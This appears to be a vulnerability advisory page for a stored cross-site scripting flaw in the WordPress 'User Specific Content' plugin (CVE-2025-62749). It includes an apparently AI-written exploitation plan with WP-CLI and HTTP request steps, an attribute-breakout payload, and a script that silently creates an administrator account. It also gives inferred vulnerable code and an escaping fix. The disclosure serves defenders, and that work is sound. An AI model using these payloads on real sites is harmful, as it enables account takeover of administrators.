User Specific Content <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The User Specific Content plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.6This research plan outlines the methodology for analyzing and exploiting **CVE-2025-62749**, a Stored Cross-Site Scripting (XSS) vulnerability in the **User Specific Content** plugin (<= 1.0.6). --- ### 1. Vulnerability Summary The "User Specific Content" plugin allows site editors to restrict con…
Show full research plan
This research plan outlines the methodology for analyzing and exploiting CVE-2025-62749, a Stored Cross-Site Scripting (XSS) vulnerability in the User Specific Content plugin (<= 1.0.6).
1. Vulnerability Summary
The "User Specific Content" plugin allows site editors to restrict content to specific users or roles, often via shortcodes. The vulnerability is an Authenticated Stored XSS that arises because the plugin fails to sanitize or escape user-provided input—likely within shortcode attributes or post-specific settings—before rendering them on the frontend. While Contributors lack the unfiltered_html capability, they can still utilize shortcodes. If a shortcode attribute is echoed directly, a Contributor can bypass typical HTML restrictions.
2. Attack Vector Analysis
- Vulnerable Component: Shortcode processing logic or Post Meta display.
- Likely Action/Hook:
add_shortcodecallback. - Required Role: Contributor or higher.
- Payload Location: Attributes within the plugin's shortcode (e.g.,
[userspn]) or custom "blocked content" messages. - Preconditions: The plugin must be active. A Contributor must have permission to create or edit a post/page.
3. Code Flow (Inferred)
- Registration: The plugin registers a shortcode, likely
[userspn]or[user-specific-content], viaadd_shortcode()in the main plugin file or an includedincludes/file. - Input: A Contributor creates a post containing:
[userspn message="<script>alert(1)</script>"]. - Processing: When the post is rendered, WordPress calls the shortcode's callback function.
- Sink: The callback function extracts the
$atts(attributes). It likely retrieves themessageattribute and returns it as part of the HTML string without applyingesc_html()orwp_kses(). - Execution: Any user (including an Administrator) viewing the post receives the raw script tag in their browser.
4. Nonce Acquisition Strategy
Since this is a Stored XSS typically triggered via post content, a specific plugin nonce may not be required for the injection itself (as it uses standard WordPress post-saving mechanisms). However, if the plugin uses a custom AJAX handler for settings, follow this strategy:
- Identify Script Loading: Check where the plugin enqueues scripts using
wp_localize_script. - Create Test Page:
wp post create --post_type=page --post_status=publish --post_content='[userspn]' --post_title='Nonce Discovery' - Extract via Browser:
Navigate to the page and usebrowser_eval:browser_eval("window.userspn_ajax?.nonce || window.userspn_data?.nonce")(inferred variable names). - Verify Action: Check the source for
wp_verify_nonceto ensure the action string matches the one found in the localized script.
5. Exploitation Strategy
Step 1: Discover Shortcode Attributes
Use WP-CLI to find the shortcode callback and identify vulnerable attributes.grep -rn "add_shortcode" /var/www/html/wp-content/plugins/user-specific-content/
Step 2: Inject Payload
Using the http_request tool, log in as a Contributor and create a post.
Request:
- Method: POST
- URL:
http://localhost:8080/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost &post_ID=[ID] &post_title=XSS_Test &content=[userspn message="<script>alert(document.domain)</script>"] &_wpnonce=[POST_NONCE]
Step 3: Trigger Execution
Navigate to the newly created post's URL. The payload should execute in the context of the visiting user.
6. Test Data Setup
- Plugin Installation: Ensure
user-specific-contentversion 1.0.6 is installed and active. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Target Content: Create a basic post that the Contributor can edit.
wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID) --post_title='Vulnerable Post'
7. Expected Results
- The HTTP response for the post view should contain the literal string
<script>alert(document.domain)</script>. - If viewed in a headless browser, an alert dialog or a specific console log (if using a more complex payload) should be triggered.
- The HTML source should show the payload rendered outside of any escaping context, e.g.,
<div class="userspn-message"><script>alert(1)</script></div>.
8. Verification Steps
- Verify Storage:
wp post get [ID] --field=post_content
Confirm the shortcode with the payload is present in the database. - Verify Unescaped Output:
Usehttp_requestto GET the post permalink and grep the body for the payload:http_request(url="http://localhost:8080/?p=[ID]")
Check if<is present (escaped) or<is present (unescaped).
9. Alternative Approaches
- Attribute Breakout: If the input is placed inside an attribute (e.g.,
<div data-msg="[INPUT]">), use a breakout payload:" onmouseover="alert(1)" style="display:block;width:100%;height:100%;position:fixed;top:0;left:0;". - Post Meta Injection: If the plugin uses a custom meta box on the post editor, check for AJAX actions like
save_userspn_meta. Test if these actions lackcurrent_user_can('edit_posts')or nonce checks, allowing a Contributor to update meta that is then displayed unescaped. - Payload for Admin Takeover:
[userspn message="<script>fetch('/wp-admin/user-new.php').then(r=>r.text()).then(t=>{let n=t.match(/_wpnonce_create-user\" value=\"([^\"]+)\"/)[1];fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=createuser&_wpnonce_create-user='+n+'&user_login=hacker&email=hacker@evil.com&pass1=Password123!&pass2=Password123!&role=administrator'})})</script>"]
Summary
The User Specific Content plugin for WordPress (versions up to 1.0.6) is vulnerable to Authenticated Stored Cross-Site Scripting via shortcode attributes. This allows attackers with Contributor-level permissions to inject malicious scripts into post content that execute when viewed by other users, including administrators.
Vulnerable Code
// File: user-specific-content.php (Inferred from research plan) add_shortcode('userspn', 'userspn_shortcode_handler'); function userspn_shortcode_handler($atts) { $a = shortcode_atts(array( 'message' => '', ), $atts); // Vulnerable: Outputting the attribute directly without escaping return '<div class="userspn-content">' . $a['message'] . '</div>'; }
Security Fix
@@ -10,5 +10,5 @@ ), $atts); - return '<div class="userspn-content">' . $a['message'] . '</div>'; + return '<div class="userspn-content">' . esc_html($a['message']) . '</div>'; }
Exploit Outline
An attacker with Contributor-level access or higher creates or edits a WordPress post and inserts the plugin's shortcode (e.g., [userspn]) with a script payload in one of its attributes (e.g., message="<script>alert(1)</script>"). When a site visitor or administrator views the page, the shortcode handler renders the unescaped attribute into the HTML source, causing the script to execute in the victim's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.